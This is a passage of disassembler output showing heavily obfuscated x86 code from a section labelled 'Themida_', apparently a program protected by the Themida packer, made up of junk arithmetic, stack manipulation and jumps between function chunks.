; END OF FUNCTION CHUNK	FOR sub_56BC97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_56CD5B:				; CODE XREF: sub_56A7FB-3302j
		neg	ch
		push	cx
		neg	byte ptr [esp+1]
		jmp	loc_572A52
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562676


loc_56CD68:				; CODE XREF: sub_562676+99F4j
		sub	eax, 15A157C0h
		dec	eax
		xor	eax, 116564BCh
		sub	esi, eax
		jmp	loc_5632C8
; END OF FUNCTION CHUNK	FOR sub_562676
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_56CD7A:				; CODE XREF: sub_571289-7B6Aj
		shl	eax, 5
		jmp	loc_568D69
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_56CD82:				; CODE XREF: sub_569DB5-2C9Ej
		pop	esp
		jmp	loc_570848
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_56CD88:				; CODE XREF: sub_56FA44-A8BCj
		pop	edi
		add	ecx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	7355h
		mov	[esp+4+var_4], esi
		mov	esi, 2
		sub	ecx, 616B1413h
		jmp	loc_56957C
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------


loc_56CDAC:				; CODE XREF: Themida_:00569403j
		mov	ebx, eax
		pop	eax
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_56BD25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56CDBD:				; CODE XREF: sub_56FB8A-D26j
		xor	edx, 14D22360h
		add	edx, 1
		jmp	sub_56C38F
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------


loc_56CDCB:				; CODE XREF: Themida_:00565F7Dj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_573B6C
; ---------------------------------------------------------------------------


loc_56CDFE:				; CODE XREF: Themida_:00564A63j
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		div	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_567C45
; ---------------------------------------------------------------------------


loc_56CE1F:				; CODE XREF: Themida_:00573B6Fj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_564A62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_56CE2A:				; CODE XREF: sub_56F3B2-5F93j
		push	[esp+4+var_4]
		pop	edi
		jmp	loc_560A35
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56CE33:				; CODE XREF: sub_5678CB-B9Cj
		mov	ebx, esp
		jmp	loc_5677AC
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_56CE3A:				; CODE XREF: sub_56D855-C2B6j
		pop	ebx
		add	eax, 2
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		shl	[esp-4+arg_0], cl
		pushf
		jmp	loc_56E928
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_56CE4E:				; CODE XREF: sub_5638E4+3j
		mov	[esp+4+var_4], esi
		jmp	loc_564679
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------


loc_56CE56:				; CODE XREF: Themida_:00563E14j
		pop	eax
		jmp	loc_56D3DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56CE5C:				; CODE XREF: sub_56AEF2-23F1j
		sub	bl, ah
		pop	eax
		jmp	loc_572970
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56CE64:				; CODE XREF: sub_561027+49B6j
		mov	esi, [esp+14h+var_14]
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_561027
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56CE6D:				; CODE XREF: sub_561541+12200j
		push	24C0h
		mov	[esp+4+var_4], esi
		mov	esi, esp
		push	eax
		mov	eax, 34753A40h
		jmp	loc_56C133
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5754DA


loc_56CE82:				; CODE XREF: sub_5754DA-62DDj
		sub	al, ch
		pop	ecx
		push	[esp-4+arg_0]
		mov	ebx, [esp+0]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], ecx
		push	edx
		jmp	sub_574949
; END OF FUNCTION CHUNK	FOR sub_5754DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56CEAD:				; CODE XREF: sub_563A7F-2085j
		mov	al, 2
		add	bl, al
		pop	ax
		push	small 7461h
		mov	word ptr [esp+0Eh+var_10+2], ax
		mov	ah, 92h
		sub	ah, 0F5h
		sub	bl, ah
		pop	ax
		pop	eax
		push	ecx
		jmp	loc_56B819
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------


loc_56CECB:				; CODE XREF: Themida_:00563192j
		sub	esi, edx
		jmp	loc_56F37F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_56CED2:				; CODE XREF: sub_574CBE-10461j
		push	esi
		mov	esi, 5C452B64h
		sub	esi, 4B3D090Ch
		or	esi, 7A684BD8h
		xor	esi, 4F394155h
		xor	ecx, esi
		pop	esi
		sub	ecx, 684411EBh
		sub	esi, ecx
		mov	ecx, [esp+14h+var_14]
		jmp	loc_569AA3
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56CEFD:				; CODE XREF: sub_56CC46-7B69j
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 3DE1D3Ah
		sub	ebx, 3DE1D36h
		add	esi, ebx
		jmp	loc_571319
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56CF1B:				; CODE XREF: sub_5605BC+E49Ej
		neg	ecx
		shr	ecx, 5
		shr	ecx, 3
		xor	ecx, 25943F3Ah
		push	edi
		mov	edi, 366B6EA2h
		add	edi, 0EF0975F0h
		sub	ecx, edi
		jmp	loc_5605EC
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_56CF3C:				; CODE XREF: sub_560844+11077j
		mov	ebx, 1A4446C0h
		jmp	loc_568334
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56CF46:				; CODE XREF: sub_56AB5E-9F7Fj
		push	dword ptr [edi+eax*4]
		push	5ECFh
		mov	[esp+8+var_8], ebx
		push	12C1h
		mov	[esp+0Ch+var_C], ebp
		push	607C1783h
		jmp	loc_56EB86
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------


loc_56CF63:				; CODE XREF: Themida_:00570A57j
		pop	eax
		push	edi
		mov	edi, 606F4D4Ch
		shr	edi, 6
		jmp	loc_561C37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_56CF72:				; CODE XREF: sub_565A8D+2F9j
		pop	edx
		sub	ebx, eax
		mov	eax, [esp+4+var_4]
		jmp	loc_572199
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_56CF7D:				; CODE XREF: sub_56657A-1D82j
		add	edx, 741940EDh
		push	ebp
		mov	ebp, 0D516C7Ch
		neg	ebp
		jmp	loc_57484D
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------


loc_56CF90:				; CODE XREF: Themida_:0056F23Fj
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56327D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56CF9B:				; CODE XREF: sub_574656-FC59j
		mov	esi, 0
		sub	esi, ebp
		jmp	loc_566046
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56CFA7:				; CODE XREF: sub_563A7F+539Fj
		mov	bh, 0E7h
		jmp	loc_5641CC
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_56CFAE:				; CODE XREF: sub_56F782-AB43j
		add	esi, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	ebp
		push	1884647h
		pop	ebp
		inc	ebp
		add	ebp, 0FE77B9BCh
		push	ebp
		jmp	loc_5697DC
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------


loc_56CFDA:				; CODE XREF: Themida_:005696C1j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_56CFEA:				; CODE XREF: sub_5690E8+25j
		push	edx
		jmp	loc_574E57
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56CFF0:				; CODE XREF: sub_572141-5558j
		push	3460h
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 30757BB7h
		mov	edx, 0CF8A844Dh
		add	edx, ebx
		jmp	loc_570B7E
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_56D009:				; CODE XREF: sub_5738F4-33DFj
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		jmp	loc_566D73
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56D012:				; CODE XREF: sub_5605BC+AB13j
		push	36E9h
		mov	[esp+0], ebx
		mov	ebx, 2B7937ECh
		push	0
		sub	[esp+0], ebx
		pop	ebx
		neg	ebx
		sub	ebx, 2B7937E8h
		sub	ecx, 0A8F50B6h
		add	ecx, 2B1D0051h
		add	ecx, ebx
		jmp	loc_56E66A
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566F55


loc_56D043:				; CODE XREF: sub_566F55+64BAj
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		pop	edi
		push	edx
		mov	edx, 31614B74h
		push	esi
		mov	esi, 78722535h
		jmp	sub_56F1F0
; END OF FUNCTION CHUNK	FOR sub_566F55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56D060:				; CODE XREF: sub_574656-CE2Dj
		sub	ebx, 6BE70014h
		jmp	loc_567DA0
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD6F


loc_56D06B:				; CODE XREF: sub_56FD6F+10j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_561560
; END OF FUNCTION CHUNK	FOR sub_56FD6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_56D07A:				; CODE XREF: sub_5648C6+43C3j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		jmp	loc_56151E
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_56D091:				; CODE XREF: sub_57523A-12D61j
		not	eax
		jmp	loc_5708C7
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56D098:				; CODE XREF: sub_564D26+B24Ej
		sub	ebp, edx
		pop	edx
		sub	ebp, 38054438h
		add	ebp, ecx
		push	ecx
		mov	ecx, 38054438h
		add	ebp, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	edi
		jmp	loc_574B15
; END OF FUNCTION CHUNK	FOR sub_564D26

; =============== S U B	R O U T	I N E =======================================



sub_56D0B7	proc near		; CODE XREF: sub_5726BB+208Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00561D3E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00571759 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005747CC SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 68442FB9h
		sub	edi, ebp
		pop	ebp
		sub	edi, 0A069B56Bh
		sub	ebp, edi
		pop	edi
		add	ebp, 11B861B2h
		add	ebp, eax
		sub	ebp, 11B861B2h
		add	ebp, 391D6CECh
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		div	cl
		movzx	cx, ah
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], ebp
		push	esp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5747CC
sub_56D0B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56D11C:				; CODE XREF: sub_56CC46-5BABj
		xor	esi, ebp
		jmp	loc_56D7D0
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------


loc_56D123:				; CODE XREF: Themida_:0056C0E8j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 11C90422h
		add	[esp+4], ecx
		jmp	loc_56836D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574503


loc_56D138:				; CODE XREF: sub_574503-CBEEj
		pop	edi
		jmp	loc_560B93
; END OF FUNCTION CHUNK	FOR sub_574503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_56D13E:				; CODE XREF: sub_569B75+1j
		mov	ebp, 1F9D43E1h
		sub	ebp, 3F154AF5h
		jmp	loc_569EA6
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_56D14E:				; CODE XREF: sub_574A21-11A32j
		not	edx
		jmp	loc_5684CA
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_56D155:				; CODE XREF: sub_566400+3D6Bj
		xor	edi, 0CC51B54h
		neg	edi
		jmp	loc_5610FE
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------


loc_56D162:				; CODE XREF: Themida_:00573A11j
		mov	[esp], edx
		push	ebp
		mov	ebp, 536E38ADh
		jmp	loc_56A398
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56D170:				; CODE XREF: sub_56FA15-7058j
		pop	eax
		add	al, 0BFh
		sub	al, bl
		sub	al, 0BFh
		push	[esp+8+var_8]
		pop	ebx
		push	750Eh
		mov	[esp+0Ch+var_C], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp+10h+var_10]
		push	ecx
		sub	esp, 4
		mov	[esp+18h+var_18], esp
		add	[esp+18h+var_18], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_56E826
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_56D1B6:				; CODE XREF: sub_574FC9-7431j
		mov	eax, esp
		jmp	loc_56D68D
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56D1BD:				; CODE XREF: sub_574656-5914j
		xor	edx, edx
		push	esi
		push	31A5h
		mov	[esp+8+var_8], edx
		mov	edx, ebx
		push	ebx
		mov	ebx, edx
		mov	esi, ebx
		pop	ebx
		jmp	loc_56689A
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_56D1D5:				; CODE XREF: sub_5733CA-946Bj
		pop	ebp
		or	esi, ecx
		jmp	loc_566FC6
; END OF FUNCTION CHUNK	FOR sub_5733CA

; =============== S U B	R O U T	I N E =======================================



sub_56D1DD	proc near		; CODE XREF: sub_56FD97-FC46j

; FUNCTION CHUNK AT 00564794 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 4C083BC8h
		inc	ebx
		and	ebx, 44825D0Ah
		xor	ebx, 2B223E06h
		shr	ebx, 8
		neg	ebx
		add	ebx, 0B231A6D2h
		add	edi, ebx
		jmp	loc_564794
sub_56D1DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56D202:				; CODE XREF: sub_56616D+4E1j
		add	eax, 713620Ch
		add	eax, edi
		sub	eax, 713620Ch
		jmp	sub_567B29
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------


loc_56D213:				; CODE XREF: Themida_:0056C8E4j
		xor	eax, [esp]
		pop	esp
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 22C41820h
		push	eax
		push	27Eh
		jmp	loc_56B15F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_56D244:				; CODE XREF: sub_5713A7-A68Aj
		sub	edx, 46830E46h
		push	ebx
		push	1BD1h
		mov	[esp+10h+var_10], eax
		push	3A6D2BCAh
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		shr	eax, 7
		xor	eax, 7F624FD2h
		jmp	loc_564D6B
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56D26E:				; CODE XREF: sub_572075+60j
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		movzx	ecx, ax
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	ebp
		mov	ebp, 466C5283h
		push	ebp
		push	68EB744Ch
		pop	ebp
		add	ebp, 0DD80DE3Bh
		mov	eax, ebp
		jmp	loc_56FB7B
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574D8F


loc_56D2AB:				; CODE XREF: sub_574D8F-17F4j
		sub	ebx, eax
		pop	eax
		pop	edi
		sub	ebx, ebp
		add	ebx, 4F6411B7h
		push	[esp+4+var_4]
		jmp	loc_56BCCC
; END OF FUNCTION CHUNK	FOR sub_574D8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56D2BF:				; CODE XREF: sub_56616D+3C2Bj
		or	ecx, 72960BEEh
		shr	ecx, 8
		push	0
		jmp	loc_56EADA
; END OF FUNCTION CHUNK	FOR sub_56616D

; =============== S U B	R O U T	I N E =======================================



sub_56D2D2	proc near		; CODE XREF: sub_572E16-93E4j

var_4		= dword	ptr -4

		push	ebx
		sub	[esp+4+var_4], 70EA267Dh
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	sub_56A119
sub_56D2D2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D93


loc_56D2E5:				; CODE XREF: sub_568D93+6j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_56303E
; END OF FUNCTION CHUNK	FOR sub_568D93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_56D2ED:				; CODE XREF: sub_575315-11C2Ej
		pop	ebx
		jmp	loc_567899
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722C8


loc_56D2F3:				; CODE XREF: sub_5722C8-7DC1j
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		sub	esp, 4
		mov	[esp+0], edi
		push	147h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		push	[esp+4+var_4]
		pop	edi
		jmp	loc_572A86
; END OF FUNCTION CHUNK	FOR sub_5722C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_56D315:				; CODE XREF: sub_569E1B+44F9j
		mov	dh, 7Eh
		jmp	loc_5709B8
; END OF FUNCTION CHUNK	FOR sub_569E1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_56D31C:				; CODE XREF: sub_560EA2+21BFj
		sub	[esp+0Ch+var_C], 72CF6641h
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		add	ecx, 72CF6641h
		pop	edx
		push	ebx
		mov	ebx, 14B50A0Bh
		jmp	loc_572E36
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56D33B:				; CODE XREF: sub_564D26+783j
		pop	eax
		add	esp, 4
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	edi
		mov	edi, 4B6E02CDh
		jmp	loc_564F6C
; END OF FUNCTION CHUNK	FOR sub_564D26

; =============== S U B	R O U T	I N E =======================================



sub_56D359	proc near		; DATA XREF: Themida_:0055FE14o

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561733 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056464F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005646CE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00567710 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00569444 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569670 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00569A52 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056DA9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056FC5D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005723B1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00572959 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0057332D SIZE 0000000A BYTES

		push	dword ptr [esp+0]
		jmp	loc_572959
sub_56D359	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_56D361:				; CODE XREF: sub_56E96D+1AD6j
		push	esi
		mov	esi, 505C6FF0h
		not	esi
		push	edx
		jmp	loc_56C4F3
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56D36F:				; CODE XREF: sub_570732-68B0j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		pop	esp
		xchg	edi, [esp+10h+var_10]
		pop	esp
		or	[edi+1Ch], ebp
		jmp	loc_56FC83
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------


loc_56D38C:				; CODE XREF: Themida_:00573988j
		mov	ebx, 62BD3435h
		shl	ebx, 6
		push	2EDCh
		jmp	loc_5752EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56959A


loc_56D39E:				; CODE XREF: sub_56959A+1526j
		add	ecx, ebx
		pop	ebx
		pop	edx
		push	esi
		mov	esi, 2
		add	ecx, esi
		jmp	loc_56913E
; END OF FUNCTION CHUNK	FOR sub_56959A

; =============== S U B	R O U T	I N E =======================================



sub_56D3AF	proc near		; DATA XREF: Themida_:0055FDACo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561A46 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00562EBE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00564F99 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005697FA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EABF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056EF88 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00570CC5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0057160C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00575070 SIZE 00000009 BYTES

		push	dword ptr [esp+0]
		jmp	loc_56EABF
sub_56D3AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_56D3B7	proc near		; DATA XREF: Themida_:0055FDCCo

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005637CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565CCA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005681D4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00569AD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570236 SIZE 0000000A BYTES

		push	dword ptr [esp+0]
		pop	eax
		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_5681D4
sub_56D3B7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_56D3C6:				; CODE XREF: sub_567CF5-48E3j
		dec	ebp
		xor	ebp, 53733010h
		add	edx, 2D615C1Eh
		add	edx, ebp
		jmp	loc_57105B
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------


loc_56D3DA:				; CODE XREF: Themida_:0056CE57j
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	[esp], al
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56D3F0:				; CODE XREF: sub_5678CB-7506j
		pop	esp
		mov	[esp+0], ecx
		mov	cl, 19h
		jmp	loc_56309C
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_56D3FB:				; CODE XREF: sub_5747FA+AEBj
		add	eax, ecx
		jmp	loc_573F27
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566F55


loc_56D402:				; CODE XREF: sub_566F55+2D21j
		add	esp, 4
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_56D043
; END OF FUNCTION CHUNK	FOR sub_566F55

; =============== S U B	R O U T	I N E =======================================



sub_56D414	proc near		; DATA XREF: Themida_:0055FF24o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0057147A SIZE 00000008 BYTES

		mov	ax, [esp+0]
		push	7CE5h
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		jmp	loc_57147A
sub_56D414	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56D428:				; CODE XREF: sub_565632+31D7j
		xchg	ebx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		push	7BE7h
		mov	[esp-8+arg_4], ebp
		push	edi
		mov	edi, 3FA22636h
		shl	edi, 3
		shl	edi, 4
		jmp	loc_571FBD
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D464


loc_56D447:				; CODE XREF: sub_56D464-2358j
		pop	esp
		mov	[esp+8+var_8], eax
		mov	eax, 4
		jmp	loc_563E50
; END OF FUNCTION CHUNK	FOR sub_56D464

; =============== S U B	R O U T	I N E =======================================



sub_56D455	proc near		; DATA XREF: Themida_:0055FF0Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

